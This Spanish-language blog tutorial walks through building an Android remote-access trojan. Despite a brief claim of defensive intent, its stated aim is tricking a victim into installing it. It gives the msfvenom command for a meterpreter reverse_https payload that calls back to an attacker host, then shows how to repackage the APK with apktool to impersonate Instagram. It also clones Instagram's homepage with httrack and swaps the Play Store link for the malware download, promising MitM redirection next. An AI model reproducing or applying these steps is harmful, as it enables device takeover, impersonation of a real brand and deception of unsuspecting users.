Con el auge de los dispositivos móviles, no es de extrañar que estos de hayan convertido en un objetivo muy jugoso, para ser blanco de ataques de todo tipo de ataques, es evidente que cada vez usamos mas estos dispositivos y depositamos mas información en los mismos, ademas de realizar cada vez mas operaciones desde ellos, vía aplicaciones,webs,etc..
Es evidente que para poder evitar ser atacado por estas aplicaciones y saber como prevenirlo para ello primero tenemos que conocer como funciona, y para ello lo mejor es realizar nosotros mismos una simulación de infección.
Nuestro objetivo es conseguir que nuestra victima instale una aplicación maliciosa que nos dará acceso total al teléfono desde una ubicación remota, ¿imposible? lo vemos
Preparando nuestro app maliciosa
Para preparar nuestra app maliciosa vamos a usar el conocido mfm(MetaExploit Framework) para ello vamos a instalarlo en un equipo con debian. Como lo que queremos es tenerlo listo y funcional rápidamente, vamos a hacer uso de las versiones Nightly. En este ejemplo vamos a crear una aplicación que nos permita realizar una conexión inversa, dejando abierto un puerto en nuestro terminal al que podríamos conectarnos desde otro equipo sin necesidad de privilegios, en este caso nuestra aplicación estará vacia, pero podríamos meter esto dentro de una aplicación legitima y que el usuario no supiera nunca que tiene un backdoor ;)
Instalando Metaexploit
curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall && \
chmod 755 msfinstall && \
./msfinstall
Nota:El script tiene que ser ejecutado como root
Creando apk
msfvenom -p android/meterpreter/reverse_https LHOST=IP LPORT=PUERTO R -o malware.apk
Una vez creada nuestra app maliciosa, como veremos «canta» mucho por lo que vamos a darle un poco de «tunning» a la app para que parezca una app mas «normal», para ello vamos a usar lo que aprendimos en nuestros artículos sobre destripe de android /?s=destripando+aplicaciones+en+android para destripar el apk de nuestra app maliciosa, darle un poco de «maquillaje» y volverlo a ensamblar.
Si copiamos nuestro apk a nuestro dispositivo movil y lo ejecutamos veremos lo siguiente:
Como podéis comprobar nuestra aplicacion «canta demasiado» como para poder «engañar» a un usuario para que la instale, en su dispositivo, por lo que necesitamos «tunearla» un poco:
Desamblando al apk
Vamos de desamblar nuestra aplicación para poder modificarla, para ello vamos a hacer uso de apktool, como ya vimos en artículos anteriores:
apktool d aplicacionmaliciosa.apk
Editando el manifest
Ahora vamos a editar los ficheros strings.xml y AndroidManifest.xml Modificamos el fichero strings.xml que encontramos en la carpeta /res/values indicándole el nombre de nuestra aplicación: Tambien modificamos nuestro AndroidManifest.xml para indicar la linea <application android:icon="@drawable/icon">
en nuestro fichero indicando que debe buscar el icono de la aplicación en la carpeta drawable,donde le dejaremos: Creamos la carpeta drawable en nuestra ruta en el directorio /res y metemos el icono que bajaremos de aqui –> https://github.com/danzeeeman/instagram-decompiled/blob/master/res/drawable-hdpi/icon.png
Ensamblando
Ahora que tenemos nuestra apk modificada vamos a volver a ensamblarla como vimos en /2017/04/03/destripando-aplicaciones-en-android-final/
apktool b /directorioapk
Si copiamos nuestra aplicación a nuestro dispositivo móvil y simulamos instalarla veremos que ya tiene «mejor pinta»
Ingeniería social y MitM
Ahora que tenemos nuestro malware, seguro que pensaras que esto solo es efectivo si tienes acceso al terminal porque «la gente» no se instala cualquier aplicación que le pases, pero esto no es de todo cierto, porque siempre puedes perpetrar un engaño para sean ellos mismos quienes se instalen la aplicación, vamos a ello:
Hemos dado a nuestro malware, la apariencia de una aplicación de android muy conocida como instagram, la cual tiene millones de usuarios, la aplicación dispone de un montón de filtros para fotos y sus usuarios se pirran por que las nuevas versiones de la aplicación traigan nuevos filtros y poder «fardar» de ellos.
Por lo que el vector de ataque esta claro, tenemos que montar una web que simule ser instagram con los enlaces a la tienda de android modificado para que descargue nuestra apk maliciosa, pero como los usuarios no van a pinchar en una dirección que no sea la de instagram, tenemos que realizar un ataque MitM para redirigirles a la web trampa, en vez de a la dirección correcta.
Montando nuestra web trampa Suponiendo que tenemos ya en el equipo un servidor web, listo para servir la pagina,tan solo tenemos que realizar los siguientes pasos:
-
Instalar httrack y Descargar la pagina inicial de instagram
apt-get install httrack
httrack https://www.instagram.com
Las imágenes no se bajan correctamente por lo que necesitamos crear la siguiente ruta en nuestro directorio web y meter allí las siguientes imágenes /static/images/ :
mkdir -p /srv/www/htdocs/static/images/homepage/home-phones.jpg
wget https://www.instagram.com/static/images/homepage/home-phones.png/38825c9d5aa2.png
mkdir -p /srv/www/htdocs/static/images/homepage/screenshot1.jpg
wget https://www.instagram.com/static/images/homepage/screenshot1.jpg/aafd8c6b005d.jpg
mkdir -p /srv/www/htdocs/static/images/homepage/screenshot2.jpg
wget https://www.instagram.com/static/images/homepage/screenshot2.jpg/2d9d7248af43.jpg
Para los botones de las tiendas de la aplicación tendréis que hacer los mismo, no voy a repetir el proceso solo indicar que la ruta es images/appstore-install-badges/
Para el logo –> https://www.instagram.com/static/sprites/core/1196d2.png
Para modificar el botón de la tienda de android necesitas modificar la siguiente linea ubicada en el archivo /static/bundles/en_US_Commons.js/52d7bfe0518d.js :
hxCIi3Rijpe1aK_tFbtPyEZmoss",c="https://play.google.com/store/apps/details?id=com.instagram.android
Modificando la url del play.google.com por la url donde tengamos nuestro bicho.
Nuestra web-trampa quedaría así mas o menos.
En el siguiente articulo veremos como hacer uso de un MitM y dns spoofing para redirigir a las victimas a nuestra web trampa, para que descarguen nuestro malware.